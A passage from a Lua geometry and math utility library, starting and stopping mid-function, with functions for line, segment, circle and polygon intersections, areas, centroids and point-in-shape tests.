)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn tab\nend\n\n\nlocal function removeDuplicates4Points( tab )\n for index1 = #tab, 1, -1 do\n local first = tab[index1]\n for index2 = #tab, 1, -1 do\n local second = tab[index2]\n if index1 ~= index2 then\n if type( first[1] ) ~= type( second[1] ) then return false end\n if type( first[2] ) == 'number' and type( second[2] ) == 'number' and type( first[3] ) == 'number' and type( second[3] ) == 'number' then\n if checkFuzzy( first[2], second[2] ) and checkFuzzy( first[3], second[3] ) then\n table.remove( tab, index1 )\n end\n elseif checkFuzzy( first[1], second[1] ) and checkFuzzy( first[2], second[2] ) and checkFuzzy( first[3], second[3] ) then\n table.remove( tab, index1 )\n end\n end\n end\n end\n return tab\nend\n\n\n-- Add points to the table.\nlocal function addPoints( tab, x, y )\n tab[#tab + 1] = x\n tab[#tab + 1] = y\nend\n\n-- Like removeDuplicatePairs but specifically for numbers in a flat table\nlocal function removeDuplicatePointsFlat( tab )\n for i = #tab, 1 -2 do\n for ii = #tab - 2, 3, -2 do\n if i ~= ii then\n local x1, y1 = tab[i], tab[i + 1]\n local x2, y2 = tab[ii], tab[ii + 1]\n if checkFuzzy( x1, x2 ) and checkFuzzy( y1, y2 ) then\n table.remove( tab, ii ); table.remove( tab, ii + 1 )\n end\n end\n end\n end\n return tab\nend\n\n\n-- Check if input is actually a number\nlocal function validateNumber( n )\n\tif type( n ) ~= 'number' then return false\n\telseif n ~= n then return false -- nan\n\telseif math.abs( n ) == math.huge then return false\n\telse return true end\nend\n\nlocal function cycle( tab, index ) return tab[( index - 1 ) % #tab + 1] end\n\nlocal function getGreatestPoint( points, offset )\n offset = offset or 1\n local start = 2 - offset\n local greatest = points[start]\n local least = points[start]\n for i = 2, #points / 2 do\n i = i * 2 - offset\n if points[i] > greatest then\n greatest = points[i]\n end\n if points[i] < least then\n least = points[i]\n end\n end\n return greatest, least\nend\n\nlocal function isWithinBounds( min, num, max )\n return num >= min and num <= max\nend\n\nlocal function distance2( x1, y1, x2, y2 ) -- Faster since it does not use math.sqrt\n\tlocal dx, dy = x1 - x2, y1 - y2\n\treturn dx * dx + dy * dy\nend -- }}}\n\n-- Points -------------------------------------- {{{\nlocal function rotatePoint( x, y, rotation, ox, oy )\n ox, oy = ox or 0, oy or 0\n return ( x - ox ) * math.cos( rotation ) + ox - ( y - oy ) * math.sin( rotation ), ( x - ox ) * math.sin( rotation ) + ( y - oy ) * math.cos( rotation ) + oy\nend\n\nlocal function scalePoint( x, y, scale, ox, oy )\n ox, oy = ox or 0, oy or 0\n return ( x - ox ) * scale + ox, ( y - oy ) * scale + oy\nend\n-- }}}\n\n-- Lines --------------------------------------- {{{\n-- Returns the length of a line.\nlocal function getLength( x1, y1, x2, y2 )\n\tlocal dx, dy = x1 - x2, y1 - y2\n\treturn math.sqrt( dx * dx + dy * dy )\nend\n\n-- Gives the midpoint of a line.\nlocal function getMidpoint( x1, y1, x2, y2 )\n\treturn ( x1 + x2 ) / 2, ( y1 + y2 ) / 2\nend\n\n-- Gives the slope of a line.\nlocal function getSlope( x1, y1, x2, y2 )\n\tif checkFuzzy( x1, x2 ) then return false end -- Technically it's undefined, but this is easier to program.\n\treturn ( y1 - y2 ) / ( x1 - x2 )\nend\n\n-- Gives the perpendicular slope of a line.\n-- x1, y1, x2, y2\n-- slope\nlocal function getPerpendicularSlope( ... )\n\tlocal input = checkInput( ... )\n\tlocal slope\n\n\tif #input ~= 1 then\n\t\tslope = getSlope( unpack( input ) )\n\telse\n\t\tslope = unpack( input )\n\tend\n\n\tif not slope then return 0 -- Vertical lines become horizontal.\n\telseif checkFuzzy( slope, 0 ) then return false -- Horizontal lines become vertical.\n else return -1 / slope end\nend\n\n-- Gives the y-intercept of a line.\n-- x1, y1, x2, y2\n-- x1, y1, slope\nlocal function getYIntercept( x, y, ... )\n\tlocal input = checkInput( ... )\n\tlocal slope\n\n\tif #input == 1 then\n\t\tslope = input[1]\n\telse\n\t\tslope = getSlope( x, y, unpack( input ) )\n\tend\n\n\tif not slope then return x, true end -- This way we have some information on the line.\n\treturn y - slope * x, false\nend\n\n-- Gives the intersection of two lines.\n-- slope1, slope2, x1, y1, x2, y2\n-- slope1, intercept1, slope2, intercept2\n-- x1, y1, x2, y2, x3, y3, x4, y4\nlocal function getLineLineIntersection( ... )\n\tlocal input = checkInput( ... )\n\tlocal x1, y1, x2, y2, x3, y3, x4, y4\n\tlocal slope1, intercept1\n\tlocal slope2, intercept2\n\tlocal x, y\n\n\tif #input == 4 then -- Given slope1, intercept1, slope2, intercept2.\n\t\tslope1, intercept1, slope2, intercept2 = unpack( input )\n\n\t\t-- Since these are lines, not segments, we can use arbitrary points, such as ( 1, y ), ( 2, y )\n\t\ty1 = slope1 and slope1 * 1 + intercept1 or 1\n\t\ty2 = slope1 and slope1 * 2 + intercept1 or 2\n\t\ty3 = slope2 and slope2 * 1 + intercept2 or 1\n\t\ty4 = slope2 and slope2 * 2 + intercept2 or 2\n\t\tx1 = slope1 and ( y1 - intercept1 ) / slope1 or intercept1\n\t\tx2 = slope1 and ( y2 - intercept1 ) / slope1 or intercept1\n\t\tx3 = slope2 and ( y3 - intercept2 ) / slope2 or intercept2\n\t\tx4 = slope2 and ( y4 - intercept2 ) / slope2 or intercept2\n\telseif #input == 6 then -- Given slope1, intercept1, and 2 points on the other line.\n\t\tslope1, intercept1 = input[1], input[2]\n\t\tslope2 = getSlope( input[3], input[4], input[5], input[6] )\n\t\tintercept2 = getYIntercept( input[3], input[4], input[5], input[6] )\n\n\t\ty1 = slope1 and slope1 * 1 + intercept1 or 1\n\t\ty2 = slope1 and slope1 * 2 + intercept1 or 2\n\t\ty3 = input[4]\n\t\ty4 = input[6]\n\t\tx1 = slope1 and ( y1 - intercept1 ) / slope1 or intercept1\n\t\tx2 = slope1 and ( y2 - intercept1 ) / slope1 or intercept1\n\t\tx3 = input[3]\n\t\tx4 = input[5]\n\telseif #input == 8 then -- Given 2 points on line 1 and 2 points on line 2.\n\t\tslope1 = getSlope( input[1], input[2], input[3], input[4] )\n\t\tintercept1 = getYIntercept( input[1], input[2], input[3], input[4] )\n\t\tslope2 = getSlope( input[5], input[6], input[7], input[8] )\n\t\tintercept2 = getYIntercept( input[5], input[6], input[7], input[8] )\n\n\t\tx1, y1, x2, y2, x3, y3, x4, y4 = unpack( input )\n\tend\n\n\tif not slope1 and not slope2 then -- Both are vertical lines\n\t\tif x1 == x3 then -- Have to have the same x positions to intersect\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\telseif not slope1 then -- First is vertical\n\t\tx = x1 -- They have to meet at this x, since it is this line's only x\n\t\ty = slope2 and slope2 * x + intercept2 or 1\n\telseif not slope2 then -- Second is vertical\n\t\tx = x3 -- Vice-Versa\n\t\ty = slope1 * x + intercept1\n\telseif checkFuzzy( slope1, slope2 ) then -- Parallel (not vertical)\n\t\tif checkFuzzy( intercept1, intercept2 ) then -- Same intercept\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\telse -- Regular lines\n\t\tx = ( -intercept1 + intercept2 ) / ( slope1 - slope2 )\n\t\ty = slope1 * x + intercept1\n\tend\n\n\treturn x, y\nend\n\n-- Gives the closest point on a line to a point.\n-- perpendicularX, perpendicularY, x1, y1, x2, y2\n-- perpendicularX, perpendicularY, slope, intercept\nlocal function getClosestPoint( perpendicularX, perpendicularY, ... )\n\tlocal input = checkInput( ... )\n\tlocal x, y, x1, y1, x2, y2, slope, intercept\n\n\tif #input == 4 then -- Given perpendicularX, perpendicularY, x1, y1, x2, y2\n\t\tx1, y1, x2, y2 = unpack( input )\n\t\tslope = getSlope( x1, y1, x2, y2 )\n\t\tintercept = getYIntercept( x1, y1, x2, y2 )\n\telseif #input == 2 then -- Given perpendicularX, perpendicularY, slope, intercept\n\t\tslope, intercept = unpack( input )\n x1, y1 = 1, slope and slope * 1 + intercept or 1 -- Need x1 and y1 in case of vertical/horizontal lines.\n\tend\n\n\tif not slope then -- Vertical line\n\t\tx, y = x1, perpendicularY -- Closest point is always perpendicular.\n\telseif checkFuzzy( slope, 0 ) then -- Horizontal line\n\t\tx, y = perpendicularX, y1\n\telse\n\t\tlocal perpendicularSlope = getPerpendicularSlope( slope )\n\t\tlocal perpendicularIntercept = getYIntercept( perpendicularX, perpendicularY, perpendicularSlope )\n\t\tx, y = getLineLineIntersection( slope, intercept, perpendicularSlope, perpendicularIntercept )\n\tend\n\n\treturn x, y\nend\n\n-- Gives the intersection of a line and a line segment.\n-- x1, y1, x2, y2, x3, y3, x4, y4\n-- x1, y1, x2, y2, slope, intercept\nlocal function getLineSegmentIntersection( x1, y1, x2, y2, ... )\n\tlocal input = checkInput( ... )\n\n\tlocal slope1, intercept1, x, y, lineX1, lineY1, lineX2, lineY2\n\tlocal slope2, intercept2 = getSlope( x1, y1, x2, y2 ), getYIntercept( x1, y1, x2, y2 )\n\n\tif #input == 2 then -- Given slope, intercept\n\t\tslope1, intercept1 = input[1], input[2]\n lineX1, lineY1 = 1, slope1 and slope1 + intercept1\n lineX2, lineY2 = 2, slope1 and slope1 * 2 + intercept1\n\telse -- Given x3, y3, x4, y4\n lineX1, lineY1, lineX2, lineY2 = unpack( input )\n\t\tslope1 = getSlope( unpack( input ) )\n\t\tintercept1 = getYIntercept( unpack( input ) )\n\tend\n\n\tif not slope1 and not slope2 then -- Vertical lines\n\t\tif checkFuzzy( x1, lineX1 ) then\n\t\t\treturn x1, y1, x2, y2\n\t\telse\n\t\t\treturn false\n\t\tend\n\telseif not slope1 then -- slope1 is vertical\n\t\tx, y = input[1], slope2 * input[1] + intercept2\n\telseif not slope2 then -- slope2 is vertical\n\t\tx, y = x1, slope1 * x1 + intercept1\n\telse\n\t\tx, y = getLineLineIntersection( slope1, intercept1, slope2, intercept2 )\n\tend\n\n\tlocal length1, length2, distance\n\tif x == true then -- Lines are collinear.\n\t\treturn x1, y1, x2, y2\n\telseif x then -- There is an intersection\n\t\tlength1, length2 = getLength( x1, y1, x, y ), getLength( x2, y2, x, y )\n\t\tdistance = getLength( x1, y1, x2, y2 )\n\telse -- Lines are parallel but not collinear.\n\t\tif checkFuzzy( intercept1, intercept2 ) then\n\t\t\treturn x1, y1, x2, y2\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\n\tif length1 <= distance and length2 <= distance then return x, y else return false end\nend\n\n-- Checks if a point is on a line.\n-- Does not support the format using slope because vertical lines would be impossible to check.\nlocal function checkLinePoint( x, y, x1, y1, x2, y2 )\n\tlocal m = getSlope( x1, y1, x2, y2 )\n\tlocal b = getYIntercept( x1, y1, m )\n\n\tif not m then -- Vertical\n\t\treturn checkFuzzy( x, x1 )\n\tend\n\treturn checkFuzzy( y, m * x + b )\nend -- }}}\n\n-- Segment -------------------------------------- {{{\n-- Gives the perpendicular bisector of a line.\nlocal function getPerpendicularBisector( x1, y1, x2, y2 )\n\tlocal slope = getSlope( x1, y1, x2, y2 )\n\tlocal midpointX, midpointY = getMidpoint( x1, y1, x2, y2 )\n\treturn midpointX, midpointY, getPerpendicularSlope( slope )\nend\n\n-- Gives whether or not a point lies on a line segment.\nlocal function checkSegmentPoint( px, py, x1, y1, x2, y2 )\n\t-- Explanation around 5:20: https://www.youtube.com/watch?v=A86COO8KC58\n\tlocal x = checkLinePoint( px, py, x1, y1, x2, y2 )\n\tif not x then return false end\n\n\tlocal lengthX = x2 - x1\n\tlocal lengthY = y2 - y1\n\n\tif checkFuzzy( lengthX, 0 ) then -- Vertical line\n\t\tif checkFuzzy( px, x1 ) then\n\t\t\tlocal low, high\n\t\t\tif y1 > y2 then low = y2; high = y1\n\t\t\telse low = y1; high = y2 end\n\n\t\t\tif py >= low and py <= high then return true\n\t\t\telse return false end\n\t\telse\n\t\t\treturn false\n\t\tend\n\telseif checkFuzzy( lengthY, 0 ) then -- Horizontal line\n\t\tif checkFuzzy( py, y1 ) then\n\t\t\tlocal low, high\n\t\t\tif x1 > x2 then low = x2; high = x1\n\t\t\telse low = x1; high = x2 end\n\n\t\t\tif px >= low and px <= high then return true\n\t\t\telse return false end\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\n\tlocal distanceToPointX = ( px - x1 )\n\tlocal distanceToPointY = ( py - y1 )\n\tlocal scaleX = distanceToPointX / lengthX\n\tlocal scaleY = distanceToPointY / lengthY\n\n\tif ( scaleX >= 0 and scaleX <= 1 ) and ( scaleY >= 0 and scaleY <= 1 ) then -- Intersection\n\t\treturn true\n\tend\n\treturn false\nend\n\n-- Gives the point of intersection between two line segments.\nlocal function getSegmentSegmentIntersection( x1, y1, x2, y2, x3, y3, x4, y4 )\n\tlocal slope1, intercept1 = getSlope( x1, y1, x2, y2 ), getYIntercept( x1, y1, x2, y2 )\n\tlocal slope2, intercept2 = getSlope( x3, y3, x4, y4 ), getYIntercept( x3, y3, x4, y4 )\n\n\tif ( ( slope1 and slope2 ) and checkFuzzy( slope1, slope2 ) ) or ( not slope1 and not slope2 ) then -- Parallel lines\n\t\tif checkFuzzy( intercept1, intercept2 ) then -- The same lines, possibly in different points.\n\t\t\tlocal points = {}\n\t\t\tif checkSegmentPoint( x1, y1, x3, y3, x4, y4 ) then addPoints( points, x1, y1 ) end\n\t\t\tif checkSegmentPoint( x2, y2, x3, y3, x4, y4 ) then addPoints( points, x2, y2 ) end\n\t\t\tif checkSegmentPoint( x3, y3, x1, y1, x2, y2 ) then addPoints( points, x3, y3 ) end\n\t\t\tif checkSegmentPoint( x4, y4, x1, y1, x2, y2 ) then addPoints( points, x4, y4 ) end\n\n\t\t\tpoints = removeDuplicatePointsFlat( points )\n\t\t\tif #points == 0 then return false end\n\t\t\treturn unpack( points )\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\n\tlocal x, y = getLineLineIntersection( x1, y1, x2, y2, x3, y3, x4, y4 )\n\tif x and checkSegmentPoint( x, y, x1, y1, x2, y2 ) and checkSegmentPoint( x, y, x3, y3, x4, y4 ) then\n\t\treturn x, y\n\tend\n\treturn false\nend -- }}}\n\n-- Math ----------------------------------------- {{{\n-- Get the root of a number (i.e. the 2nd (square) root of 4 is 2)\nlocal function getRoot( number, root )\n\treturn number ^ ( 1 / root )\nend\n\n-- Checks if a number is prime.\nlocal function isPrime( number )\n\tif number < 2 then return false end\n\n\tfor i = 2, math.sqrt( number ) do\n\t\tif number % i == 0 then\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend\n\n-- Rounds a number to the xth decimal place (round( 3.14159265359, 4 ) --> 3.1416)\nlocal function round( number, place )\n\tlocal pow = 10 ^ ( place or 0 )\n return math.floor( number * pow + .5 ) / pow\nend\n\n-- Gives the summation given a local function\nlocal function getSummation( start, stop, func )\n\tlocal returnValues = {}\n\tlocal sum = 0\n\tfor i = start, stop do\n\t\tlocal value = func( i, returnValues )\n\t\treturnValues[i] = value\n\t\tsum = sum + value\n\tend\n\treturn sum\nend\n\n-- Gives the percent of change.\nlocal function getPercentOfChange( old, new )\n\tif old == 0 and new == 0 then\n return 0\n\telse\n\t\treturn ( new - old ) / math.abs( old )\n\tend\nend\n\n-- Gives the percentage of a number.\nlocal function getPercentage( percent, number )\n\treturn percent * number\nend\n\n-- Returns the quadratic roots of an equation.\nlocal function getQuadraticRoots( a, b, c )\n\tlocal discriminant = b ^ 2 - ( 4 * a * c )\n\tif discriminant < 0 then return false end\n\tdiscriminant = math.sqrt( discriminant )\n\tlocal denominator = ( 2 * a )\n\treturn ( -b - discriminant ) / denominator, ( -b + discriminant ) / denominator\nend\n\n-- Gives the angle between three points.\nlocal function getAngle( x1, y1, x2, y2, x3, y3 )\n local a = getLength( x3, y3, x2, y2 )\n local b = getLength( x1, y1, x2, y2 )\n local c = getLength( x1, y1, x3, y3 )\n\n return math.acos( ( a * a + b * b - c * c ) / ( 2 * a * b ) )\nend -- }}}\n\n-- Circle --------------------------------------- {{{\n-- Gives the area of the circle.\nlocal function getCircleArea( radius )\n\treturn math.pi * ( radius * radius )\nend\n\n-- Checks if a point is within the radius of a circle.\nlocal function checkCirclePoint( x, y, circleX, circleY, radius )\n\treturn getLength( circleX, circleY, x, y ) <= radius\nend\n\n-- Checks if a point is on a circle.\nlocal function isPointOnCircle( x, y, circleX, circleY, radius )\n\treturn checkFuzzy( getLength( circleX, circleY, x, y ), radius )\nend\n\n-- Gives the circumference of a circle.\nlocal function getCircumference( radius )\n\treturn 2 * math.pi * radius\nend\n\n-- Gives the intersection of a line and a circle.\nlocal function getCircleLineIntersection( circleX, circleY, radius, x1, y1, x2, y2 )\n\tslope = getSlope( x1, y1, x2, y2 )\n\tintercept = getYIntercept( x1, y1, slope )\n\n\tif slope then\n\t\tlocal a = ( 1 + slope ^ 2 )\n\t\tlocal b = ( -2 * ( circleX ) + ( 2 * slope * intercept ) - ( 2 * circleY * slope ) )\n\t\tlocal c = ( circleX ^ 2 + intercept ^ 2 - 2 * ( circleY ) * ( intercept ) + circleY ^ 2 - radius ^ 2 )\n\n\t\tx1, x2 = getQuadraticRoots( a, b, c )\n\n\t\tif not x1 then return false end\n\n\t\ty1 = slope * x1 + intercept\n\t\ty2 = slope * x2 + intercept\n\n\t\tif checkFuzzy( x1, x2 ) and checkFuzzy( y1, y2 ) then\n\t\t\treturn 'tangent', x1, y1\n\t\telse\n\t\t\treturn 'secant', x1, y1, x2, y2\n\t\tend\n\telse -- Vertical Lines\n\t\tlocal lengthToPoint1 = circleX - x1\n\t\tlocal remainingDistance = lengthToPoint1 - radius\n\t\tlocal intercept = math.sqrt( -( lengthToPoint1 ^ 2 - radius ^ 2 ) )\n\n\t\tif -( lengthToPoint1 ^ 2 - radius ^ 2 ) < 0 then return false end\n\n\t\tlocal bottomX, bottomY = x1, circleY - intercept\n\t\tlocal topX, topY = x1, circleY + intercept\n\n\t\tif topY ~= bottomY then\n\t\t\treturn 'secant', topX, topY, bottomX, bottomY\n\t\telse\n\t\t\treturn 'tangent', topX, topY\n\t\tend\n\tend\nend\n\n-- Gives the type of intersection of a line segment.\nlocal function getCircleSegmentIntersection( circleX, circleY, radius, x1, y1, x2, y2 )\n\tlocal Type, x3, y3, x4, y4 = getCircleLineIntersection( circleX, circleY, radius, x1, y1, x2, y2 )\n\tif not Type then return false end\n\n\tlocal slope, intercept = getSlope( x1, y1, x2, y2 ), getYIntercept( x1, y1, x2, y2 )\n\n\tif isPointOnCircle( x1, y1, circleX, circleY, radius ) and isPointOnCircle( x2, y2, circleX, circleY, radius ) then -- Both points are on line-segment.\n\t\treturn 'chord', x1, y1, x2, y2\n\tend\n\n\tif slope then\n\t\tif checkCirclePoint( x1, y1, circleX, circleY, radius ) and checkCirclePoint( x2, y2, circleX, circleY, radius ) then -- Line-segment is fully in circle.\n\t\t\treturn 'enclosed', x1, y1, x2, y2\n\t\telseif x3 and x4 then\n\t\t\tif checkSegmentPoint( x3, y3, x1, y1, x2, y2 ) and not checkSegmentPoint( x4, y4, x1, y1, x2, y2 ) then -- Only the first of the points is on the line-segment.\n\t\t\t\treturn 'tangent', x3, y3\n\t\t\telseif checkSegmentPoint( x4, y4, x1, y1, x2, y2 ) and not checkSegmentPoint( x3, y3, x1, y1, x2, y2 ) then -- Only the second of the points is on the line-segment.\n\t\t\t\treturn 'tangent', x4, y4\n\t\t\telse -- Neither of the points are on the circle (means that the segment is not on the circle, but \"encasing\" the circle)\n\t\t\t\tif checkSegmentPoint( x3, y3, x1, y1, x2, y2 ) and checkSegmentPoint( x4, y4, x1, y1, x2, y2 ) then\n\t\t\t\t\treturn 'secant', x3, y3, x4, y4\n\t\t\t\telse\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\telseif not x4 then -- Is a tangent.\n\t\t\tif checkSegmentPoint( x3, y3, x1, y1, x2, y2 ) then\n\t\t\t\treturn 'tangent', x3, y3\n\t\t\telse -- Neither of the points are on the line-segment (means that the segment is not on the circle or \"encasing\" the circle).\n\t\t\t\tlocal length = getLength( x1, y1, x2, y2 )\n\t\t\t\tlocal distance1 = getLength( x1, y1, x3, y3 )\n\t\t\t\tlocal distance2 = getLength( x2, y2, x3, y3 )\n\n\t\t\t\tif length > distance1 or length > distance2 then\n\t\t\t\t\treturn false\n\t\t\t\telseif length < distance1 and length < distance2 then\n\t\t\t\t\treturn false\n\t\t\t\telse\n\t\t\t\t\treturn 'tangent', x3, y3\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telse\n\t\tlocal lengthToPoint1 = circleX - x1\n\t\tlocal remainingDistance = lengthToPoint1 - radius\n\t\tlocal intercept = math.sqrt( -( lengthToPoint1 ^ 2 - radius ^ 2 ) )\n\n\t\tif -( lengthToPoint1 ^ 2 - radius ^ 2 ) < 0 then return false end\n\n\t\tlocal topX, topY = x1, circleY - intercept\n\t\tlocal bottomX, bottomY = x1, circleY + intercept\n\n\t\tlocal length = getLength( x1, y1, x2, y2 )\n\t\tlocal distance1 = getLength( x1, y1, topX, topY )\n\t\tlocal distance2 = getLength( x2, y2, topX, topY )\n\n\t\tif bottomY ~= topY then -- Not a tangent\n\t\t\tif checkSegmentPoint( topX, topY, x1, y1, x2, y2 ) and checkSegmentPoint( bottomX, bottomY, x1, y1, x2, y2 ) then\n\t\t\t\treturn 'chord', topX, topY, bottomX, bottomY\n\t\t\telseif checkSegmentPoint( topX, topY, x1, y1, x2, y2 ) then\n\t\t\t\treturn 'tangent', topX, topY\n\t\t\telseif checkSegmentPoint( bottomX, bottomY, x1, y1, x2, y2 ) then\n\t\t\t\treturn 'tangent', bottomX, bottomY\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\telse -- Tangent\n\t\t\tif checkSegmentPoint( topX, topY, x1, y1, x2, y2 ) then\n\t\t\t\treturn 'tangent', topX, topY\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend\nend\n\n-- Checks if one circle intersects another circle.\nlocal function getCircleCircleIntersection( circle1x, circle1y, radius1, circle2x, circle2y, radius2 )\n\tlocal length = getLength( circle1x, circle1y, circle2x, circle2y )\n\tif length > radius1 + radius2 then return false end -- If the distance is greater than the two radii, they can't intersect.\n\tif checkFuzzy( length, 0 ) and checkFuzzy( radius1, radius2 ) then return 'equal' end\n\tif checkFuzzy( circle1x, circle2x ) and checkFuzzy( circle1y, circle2y ) then return 'collinear' end\n\n\tlocal a = ( radius1 * radius1 - radius2 * radius2 + length * length ) / ( 2 * length )\n\tlocal h = math.sqrt( radius1 * radius1 - a * a )\n\n\tlocal p2x = circle1x + a * ( circle2x - circle1x ) / length\n\tlocal p2y = circle1y + a * ( circle2y - circle1y ) / length\n\tlocal p3x = p2x + h * ( circle2y - circle1y ) / length\n\tlocal p3y = p2y - h * ( circle2x - circle1x ) / length\n\tlocal p4x = p2x - h * ( circle2y - circle1y ) / length\n\tlocal p4y = p2y + h * ( circle2x - circle1x ) / length\n\n\tif not validateNumber( p3x ) or not validateNumber( p3y ) or not validateNumber( p4x ) or not validateNumber( p4y ) then\n\t\treturn 'inside'\n\tend\n\n\tif checkFuzzy( length, radius1 + radius2 ) or checkFuzzy( length, math.abs( radius1 - radius2 ) ) then return 'tangent', p3x, p3y end\n\treturn 'intersection', p3x, p3y, p4x, p4y\nend\n\n-- Checks if circle1 is entirely inside of circle2.\nlocal function isCircleCompletelyInsideCircle( circle1x, circle1y, circle1radius, circle2x, circle2y, circle2radius )\n\tif not checkCirclePoint( circle1x, circle1y, circle2x, circle2y, circle2radius ) then return false end\n\tlocal Type = getCircleCircleIntersection( circle2x, circle2y, circle2radius, circle1x, circle1y, circle1radius )\n\tif ( Type ~= 'tangent' and Type ~= 'collinear' and Type ~= 'inside' ) then return false end\n\treturn true\nend\n\n-- Checks if a line-segment is entirely within a circle.\nlocal function isSegmentCompletelyInsideCircle( circleX, circleY, circleRadius, x1, y1, x2, y2 )\n\tlocal Type = getCircleSegmentIntersection( circleX, circleY, circleRadius, x1, y1, x2, y2 )\n\treturn Type == 'enclosed'\nend -- }}}\n\n-- Polygon -------------------------------------- {{{\n-- Gives the signed area.\n-- If the points are clockwise the number is negative, otherwise, it's positive.\nlocal function getSignedPolygonArea( ... )\n\tlocal points = checkInput( ... )\n\n\t-- Shoelace formula (https://en.wikipedia.org/wiki/Shoelace_formula).\n\tpoints[#points + 1] = points[1]\n\tpoints[#points + 1] = points[2]\n\n\treturn ( .5 * getSummation( 1, #points / 2,\n\t\tfunction( index )\n\t\t\tindex = index * 2 - 1 -- Convert it to work properly.\n\t\t\treturn ( ( points[index] * cycle( points, index + 3 ) ) - ( cycle( points, index + 2 ) * points[index + 1] ) )\n\t\tend\n\t) )\nend\n\n-- Simply returns the area of the polygon.\nlocal function getPolygonArea( ... )\n\treturn math.abs( getSignedPolygonArea( ... ) )\nend\n\n-- Gives the height of a triangle, given the base.\n-- base, x1, y1, x2, y2, x3, y3, x4, y4\n-- base, area\nlocal function getTriangleHeight( base, ... )\n\tlocal input = checkInput( ... )\n\tlocal area\n\n\tif #input == 1 then area = input[1] -- Given area.\n\telse area = getPolygonArea( input ) end -- Given coordinates.\n\n\treturn ( 2 * area ) / base, area\nend\n\n-- Gives the centroid of the polygon.\nlocal function getCentroid( ... )\n\tlocal points = checkInput( ... )\n\n\tpoints[#points + 1] = points[1]\n\tpoints[#points + 1] = points[2]\n\n\tlocal area = getSignedPolygonArea( points ) -- Needs to be signed here in case points are counter-clockwise.\n\n\t-- This formula: https://en.wikipedia.org/wiki/Centroid#Centroid_of_polygon\n\tlocal centroidX = ( 1 / ( 6 * area ) ) * ( getSummation( 1, #points / 2,\n\t\tfunction( index )\n\t\t\tindex = index * 2 - 1 -- Convert it to work properly.\n\t\t\treturn ( ( points[index] + cycle( points, index + 2 ) ) * ( ( points[index] * cycle( points, index + 3 ) ) - ( cycle( points, index + 2 ) * points[index + 1] ) ) )\n\t\tend\n\t) )\n\n\tlocal centroidY = ( 1 / ( 6 * area ) ) * ( getSummation( 1, #points / 2,\n\t\tfunction( index )\n\t\t\tindex = index * 2 - 1 -- Convert it to work properly.\n\t\t\treturn ( ( points[index + 1] + cycle( points, index + 3 ) ) * ( ( points[index] * cycle( points, index + 3 ) ) - ( cycle( points, index + 2 ) * points[index + 1] ) ) )\n\t\tend\n\t) )\n\n\treturn centroidX, centroidY\nend\n\n-- Returns whether or not a line intersects a polygon.\n-- x1, y1, x2, y2, polygonPoints\nlocal function getPolygonLineIntersection( x1, y1, x2, y2, ... )\n\tlocal input = checkInput( ... )\n\tlocal choices = {}\n\n\tlocal slope = getSlope( x1, y1, x2, y2 )\n\tlocal intercept = getYIntercept( x1, y1, slope )\n\n\tlocal x3, y3, x4, y4\n\tif slope then\n\t\tx3, x4 = 1, 2\n\t\ty3, y4 = slope * x3 + intercept, slope * x4 + intercept\n\telse\n\t\tx3, x4 = x1, x1\n\t\ty3, y4 = y1, y2\n\tend\n\n\tfor i = 1, #input, 2 do\n\t\tlocal x1, y1, x2, y2 = getLineSegmentIntersection( input[i], input[i + 1], cycle( input, i + 2 ), cycle( input, i + 3 ), x3, y3, x4, y4 )\n\t\tif x1 and not x2 then choices[#choices + 1] = { x1, y1 }\n\t\telseif x1 and x2 then choices[#choices + 1] = { x1, y1, x2, y2 } end\n -- No need to check 2-point sets since they only intersect each poly line once.\n\tend\n\n\tlocal final = removeDuplicatePairs( choices )\n\treturn #final > 0 and final or false\nend\n\n-- Returns if the line segment intersects the polygon.\n-- x1, y1, x2, y2, polygonPoints\nlocal function getPolygonSegmentIntersection( x1, y1, x2, y2, ... )\n\tlocal input = checkInput( ... )\n\tlocal choices = {}\n\n\tfor i = 1, #input, 2 do\n\t\tlocal x1, y1, x2, y2 = getSegmentSegmentIntersection( input[i], input[i + 1], cycle( input, i + 2 ), cycle( input, i + 3 ), x1, y1, x2, y2 )\n\t\tif x1 and not x2 then choices[#choices + 1] = { x1, y1 }\n\t\telseif x2 then choices[#choices + 1] = { x1, y1, x2, y2 } end\n\tend\n\n\tlocal final = removeDuplicatePairs( choices )\n\treturn #final > 0 and final or false\nend\n\n-- Checks if the point lies INSIDE the polygon not on the polygon.\nlocal function checkPolygonPoint( px, py, ... )\n\tlocal points = { unpack( checkInput( ... ) ) } -- Make a new table, as to not edit values of previous.\n\n\tlocal greatest, least = getGreatestPoint( points, 0 )\n\tif not isWithinBounds( least, py, greatest ) then return false end\n\tgreatest, least = getGreatestPoint( points )\n\tif not isWithinBounds( least, px, greatest ) then return false end\n\n\tlocal count = 0\n\tfor i = 1, #points, 2 do\n\t\tif checkFuzzy( points[i + 1], py ) then\n\t\t\tpoints[i + 1] = py + .001 -- Handles vertices that lie on the point.\n -- Not exactly mathematically correct, but a lot easier.\n\t\tend\n\t\tif points[i + 3] and checkFuzzy( points[i + 3], py ) then\n\t\t\tpoints[i + 3] = py + .001 -- Do not need to worry about alternate case, since points[2] has already been done.\n\t\tend\n\t\tlocal x1, y1 = points[i], points[i + 1]\n\t\tlocal x2, y2 = points[i + 2] or points[1], points[i + 3] or points[2]\n\n\t\tif getSegmentSegmentIntersection( px, py, greatest, py, x1, y1, x2, y2 ) then\n\t\t\tcount = count + 1\n\t\tend\n\tend\n\n\treturn count and count % 2 ~= 0\nend\n\n-- Returns if the line segment is fully or partially inside.\n-- x1, y1, x2, y2, polygonPoints\nlocal function isSegmentInsidePolygon( x1, y1, x2, y2, ... )\n\tlocal input = checkInput( ... )\n\n\tlocal choices = getPolygonSegmentIntersection( x1, y1, x2, y2, input ) -- If it's partially enclosed that's all we need.\n\tif choices then return true end\n\n\tif checkPolygonPoint( x1, y1, input ) or checkPolygonPoint( x2, y2, input ) then return true end\n\treturn false\nend\n\n-- Returns whether two polygons intersect.\nlocal function getPolygonPolygonIntersection( polygon1, polygon2 )\n\tlocal 